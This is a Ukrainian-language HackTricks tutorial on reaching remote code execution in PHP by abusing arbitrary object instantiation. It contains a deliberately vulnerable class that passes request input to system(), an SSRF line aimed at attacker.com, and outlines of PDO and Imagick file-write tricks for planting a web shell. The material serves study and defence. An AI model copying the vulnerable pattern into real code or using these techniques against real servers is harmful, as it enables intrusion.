PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Це в основному підсумок https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Вступ

Створення нових довільних об'єктів, таких як new $_GET["a"]($_GET["a"]), може призвести до виконання коду на віддаленому сервері (RCE), як детально описано в описі. Цей документ висвітлює різні стратегії досягнення RCE.

RCE через Власні Класи або Автозавантаження

Синтаксис new $a($b) використовується для створення об'єкта, де $a представляє ім'я класу, а $b - перший аргумент, що передається конструктору. Ці змінні можуть бути отримані з користувацьких введень, таких як GET/POST, де вони можуть бути рядками або масивами, або з JSON, де вони можуть бути іншого типу.

Розгляньте фрагмент коду нижче:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

У цьому випадку встановлення $a на App або App2 та $b на системну команду (наприклад, uname -a) призводить до виконання цієї команди.

Функції автозавантаження можуть бути використані для зловживання, якщо такі класи не є безпосередньо доступними. Ці функції автоматично завантажують класи з файлів за потреби і визначаються за допомогою spl_autoload_register або __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Поведінка автозавантаження варіюється з версіями PHP, пропонуючи різні можливості RCE.

RCE через Вбудовані Класи

Відсутність власних класів або автозавантажувачів, вбудовані класи PHP можуть бути достатніми для RCE. Кількість цих класів коливається від 100 до 200, в залежності від версії PHP та розширень. Їх можна перелічити за допомогою get_declared_classes().

Конструктори цікавлять можуть бути ідентифіковані через API відображення, як показано у наступному прикладі та за посиланням https://3v4l.org/2JEGF.

RCE через конкретні методи включає:

SSRF + Десеріалізація Phar

Клас SplFileObject дозволяє SSRF через свій конструктор, дозволяючи підключення до будь-якої URL:

new SplFileObject('http://attacker.com/');

Експлуатація PDOs

Конструктор класу PDO дозволяє підключатися до баз даних за допомогою рядків DSN, що потенційно дозволяє створювати файли або здійснювати інші взаємодії:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Версії PHP до 5.3.22 та 5.4.12 були вразливі до атак XXE через конструктори SoapClient та SimpleXMLElement, залежно від версії libxml2.

RCE через розширення Imagick

Під час аналізу залежностей проекту було виявлено, що Imagick може бути використаний для виконання команд шляхом створення нових об'єктів. Це відкриває можливість використання вразливостей.

Аналізатор VID

Була виявлена можливість аналізатора VID записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення PHP оболонки в каталозі, до якого є доступ через веб, досягаючи віддаленого виконання коду (RCE).

Аналізатор VID + Завантаження файлів

Зауважено, що PHP тимчасово зберігає завантажені файли в /tmp/phpXXXXXX. Аналізатор VID в Imagick, використовуючи протокол msl, може обробляти шаблони в шляхах до файлів, сприяючи передачі тимчасового файлу в обране місце. Цей метод пропонує додатковий підхід для досягнення довільного запису файлів у файловій системі.

Падіння PHP + Брутфорс

Метод, описаний у початковому описі, передбачає завантаження файлів, які спричиняють падіння сервера перед видаленням. Шляхом брутфорсу назви тимчасового файлу стає можливим для Imagick виконання довільного PHP коду. Однак цей метод виявився ефективним лише в застарілій версії ImageMagick.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated